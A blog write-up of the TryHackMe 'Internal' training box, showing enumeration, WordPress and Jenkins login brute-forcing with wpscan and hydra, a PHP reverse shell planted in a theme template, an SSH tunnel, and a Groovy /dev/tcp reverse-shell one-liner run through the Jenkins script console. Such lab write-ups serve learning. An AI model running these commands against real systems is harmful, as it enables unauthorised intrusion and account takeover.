TryHackMe - Internal - Writeup - Uncharted Infosec

TryHackMe - Internal - Writeup

Posted July 3, 2021 by Mark O'Kane ‐ 13 min read

Another box made to test your learning so far in TryHackMe’s Advanced Pentesting learning path, Internal is listed as a ‘Hard’ box to compromise.

Before we jump in to enumeration, the lab instructions have asked us to add the IP to our /etc/hosts file as internal.thm. In my install I have mousepad as a text editor, so it’s sudo mousepad /etc/hosts, add the new line and save the changes.



Starting off, we run a port scan with Nmap to find our first few options for investigation. We use the flags -A for aggressive scan, T4 for a reasonably high speed (we’re not too worried about hiding from security systems here), -sV for software versioning and -oN to output the results as a txt file so we have them for later.

└─$ nmap -A -T4 internal.thm -sV -oN nmap.txt
Starting Nmap 7.91 ( ) at 2021-06-30 13:20 EDT
Nmap scan report for internal.thm (
Host is up (0.029s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds

We have port 80 http open running an apache webserver and port 22 ssh open. SSH might be useful later, but for now we start with the web server. We also learn that the operating system is likely Ubuntu.

Navigating to p80 in our browser, we see the apache2 Ubuntu default landing page.

Apache2 Ubuntu Default Webpage port 80

No new information here, so let’s do some directory busting.


We’ll run gobuster against the webserver to see if we can uncover any hidden directories.

└─$ gobuster dir -u http://internal.thm:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://internal.thm:80
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/06/30 13:24:00 Starting gobuster in directory enumeration mode
/blog                 (Status: 301) [Size: 311] [--> http://internal.thm/blog/]
/wordpress            (Status: 301) [Size: 316] [--> http://internal.thm/wordpress/]
/javascript           (Status: 301) [Size: 317] [--> http://internal.thm/javascript/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://internal.thm/phpmyadmin/]

Using this wordlist we’ve uncovered 4 directories. First up, we’ll take a look at the /blog directory.

Manual enumeration

Here we find a blog post called “Hello world!”, by a user called ADMIN. This could be useful later.

Blog Homepage

Next we’ll have a look at wappalyzer also. Wappalyzer is a useful browser extension for identifying web technologies used on a webpage.


We already had clues it was running wordpress from gobuster, here’s some confirmation. A quick search for version 5.4.2 vulnerabilities doesn’t reveal anything immediately useful.

If we look around the blog homepage some more, we find a “login” button at the bottom of the page.

Login link

Clicking on this button takes us to a new page, a wordpress login screen. Let’s try admin/admin for username/password. We already found a clue to a user called admin, so this has potential:

Incorrect password

The error message reveals something. It looks like there is a user called admin, though the password was incorrect. To verify, lets try a made-up value for the username and see if we see a different message:

Unknown username

Unknown username. This confirms our suspicions about a valid user called admin.


To enumerate wordpress further and attempt to brute-force this login, we’ll turn to a handy tool called wpscan.

└─wpscan --url internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt                                          
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.17
       Sponsored by Automattic -
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: http://internal.thm/blog/ []
[+] Started: Wed Jun 30 13:45:19 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  -
 |  -
 |  -
 |  -
 |  -

[+] WordPress readme found: http://internal.thm/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  -
 |  -

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://internal.thm/blog/index.php/feed/, <generator></generator>
 |  - http://internal.thm/blog/index.php/comments/feed/, <generator></generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
 | Last Updated: 2021-04-27T00:00:00.000Z
 | Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
 | [!] The version is out of date, the latest version is 2.7
 | Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
 | Style Name: Twenty Seventeen
 | Style URI:
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI:
 | Found By: Css Style In Homepage (Passive Detection)
 | Version: 2.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / ******                                                                                                      
Trying admin / bratz1 Time: 00:02:25 <                                                  > (3885 / 14348277)  0.02%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: admin, Password: ******

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at

[+] Finished: Wed Jun 30 13:47:50 2021
[+] Requests Done: 4025
[+] Cached Requests: 38
[+] Data Sent: 2.036 MB
[+] Data Received: 2.306 MB
[+] Memory used: 257.262 MB
[+] Elapsed time: 00:02:30

If we direct wpscan to the /blog directory where wordpress is running, provide the -U username value as admin and -P passwords as a wordlist (rockyou.txt in this example), we can enumerate more information about the implementation and automatically brute-force the login.

We get a successful password fairly quickly (obfuscated for purposes of the writeup).


Logging in with our newly found username and password, we’re greeted with the wordpress cms admin console.

In order to progress further from here, I turned to google for some help.

Searching for wordpress admin console reverse shell, I came across an article on This outlined two methods of exploitation, one using metasploit and one exploiting templates to execute a php reverse shell. I chose to take the manual approach.

If we use the navigation menu on the left of the admin console and select appearance > Theme Editor, we find ourselves at a theme editor screen.

On the right hand side, under Theme Files, select 404 Template.

404 Theme

Pentestmonkey’s ever popular php-reverse-shell comes into play here. Kali already has a copy saved locally to the machine at /usr/share/webshells/php/php-reverse-shell.php.

Copy and paste the contents of the script into the theme editor and modify $ip and $port to your own IP and the port on which you’re going to set up a netcat listener.


Once done, press the Update File button to save your malicious template.

Back on your terminal, start your netcat listener:

$ nc -nvlp 1234

In order to execute the payload, navigate to the following either using curl or a web browser:


Checking back to our netcat listener, we should now have a shell!

└─nc -nvlp 1234                                                                                           
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 40808
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 18:09:29 up 53 min,  0 users,  load average: 0.00, 0.00, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami


We’ve got a shell, first we’ll see if we can get to that user flag. cd into the /home directory, we find the user directory of aubreanna.

Unfortunately we haven’t got permissions to access.

$ cd aubreanna
/bin/sh: 4: cd: can't cd to aubreanna

Manual Enumeration

We’ll do some more manual enumeration. A good place to look is often the /opt directory. This area is for the installation of additional application/software packages, some of which may have run permissions which can help us move laterally.

$ ls /opt

In this instance, we found the existance of containerd, a container runtime which could point to a container based application running on this box. We also found a text file called wp-save.txt.

Going for the low hanging fruit, let’s take a look at that text file first.

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.


We find what appears to be login credentials fo aubreanna. Again, I’ve obfuscated these.


We know from our nmap scan that ssh is running, so let’s see if these credentials work.

└─$ ssh aubreanna@internal.thm                  
Warning: Permanently added the ECDSA host key for IP address '' to the list of known hosts.
aubreanna@internal.thm's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sat Jul  3 13:17:53 UTC 2021

  System load:  0.11              Processes:              109
  Usage of /:   63.7% of 8.79GB   Users logged in:        0
  Memory usage: 34%               IP address for eth0:
  Swap usage:   0%                IP address for docker0:

  => There is 1 zombie process.

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug  3 19:56:19 2020 from

We successfully have an ssh session as aubreanna. We’re in the home directory and have now found the user flag in user.txt.

Privilege Escalation

We’ve managed to compromise the user, next up is system. Staying in aubreanna’s home folder, there’s another text file of interest: jenkins.txt

aubreanna@internal:~$ cat jenkins.txt 
Internal Jenkins service is running on

This points back to our earlier theory about containerd. It sounds like there’s a container running Jenkins here. Jenkins is an automation tool, often with administrative code execution privileges which can be exploited.

If we check ifconfig, we confirm that docker is running with a network adapter on

aubreanna@internal:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast

We can also ping from our ssh session. Unfortunately, it’s only reachable from the victim.

SSH Tunneling

In order to access this Jenkins server from our attacker machine, we need to set up some port forwarding, aka SSH tunneling.

└─ssh -L 4444: aubreanna@internal.thm   

-L maps our local port of 4444 to the remote ip and port of the Jenkins service, establishing an ssh tunnel through the victim internal.thm.

Once established, we should be able to access Jenkins via http://localhost:4444.

Jenkins Login

Burpsuite and Hydra

Without any further credentials, we’ll need to brute force our way into Jenkins.

Unlike the wordpress login from earlier, attempting admin/admin doesn’t provide much of a user enumeration opportunity, only resulting in Invalid useername or password.

If we google Jenkins default credentials, it suggests that admin is the default user, so we’ll stick with that for our attack.

In order to begin cracking with hydra, we’ll need to capture the http POST request that’s being made by the login page.

We’ll use Burp Suite intercept for this, with FoxyProxy browser extension for firefox to set up the proxy. You can also do this using Burp Suite’s build in chromium browser.

With intercept ON, attempt a login with e.g. admin/adminpass. Once the request is sent, check Burp intercept tab for the captured request:

Burp Suite intercept

From here we need

  1. The request path /j_acegi_security_check
  2. The login string j_username=admin&j_password=adminpass&from=%2F&Submit=Sign+in

From our failed login earlier we also obtained the 3rd value needed for hydra - an error string of Invalid username or password. This is how hydra determines if a login is successful.

We feed these values into hydra as follows:

└─$ hydrhydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 4444 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

We replace our admin/adminpass values from earlier with ^USER^ and ^PASS^. We’ll also use rockyou.txt as the wordlist again.

Once we let this run for a while, we successfully get a successful password match for user admin. Now we can log in:

Jenkins Homepage

Jenkins Script Console

In order to exploit Jenkins, google is our friend again.

Built into jenkins is a script console that allows you to execute scripts on the Jenkins conttoller using Groovy (a java-like language).

Some convenient notes were available on to guide through establishing a reverse shell.

Once again, set up a netcat on attacker, nc -nvlp 4445.

Then in the Jenkins Script Console, execute the following (substituting your own ip and chosen port):

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

Check back on our netcat listener and we have a shell.

└─$ nc -nvlp 4445                            
listening on [any] 4445 ...
connect to [] from (UNKNOWN) [] 45512

This isn’t a shell on internal.thm, but on the Jenkins controller. Let’s do some enumeration from here.

Jenkins controller shell

Looking around this machine, there’s nothing to be found in the home folder. Given we found something in the /opt folder on internal.thm, maybe they’ve followed a habit and left something again:

jenkins@jenkins:/$ ls /opt
ls /opt

We’re in luck again, they’ve left a file called note.txt.

jenkins@jenkins:/$ cat /opt/note.txt
cat /opt/note.txt

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.


We have what sounds like root credentials for the host machine, internal.thm.

Root Shell

Returning to my aubreanna ssh session from earlier, I tried su root. When prompted, we try the password we found and…

root@internal:/home/aubreanna# id
uid=0(root) gid=0(root) groups=0(root)

We have root!


Internal was a challenging experience and an appropriate capstone to the Advanced Exploitation part of the learning path. With plenty of opportunities for manual exploitation and enough clues to keep you going without getting too frustrated, this was an excellent lab (and a perfect example of how not to protect your passwords).

Thanks for reading!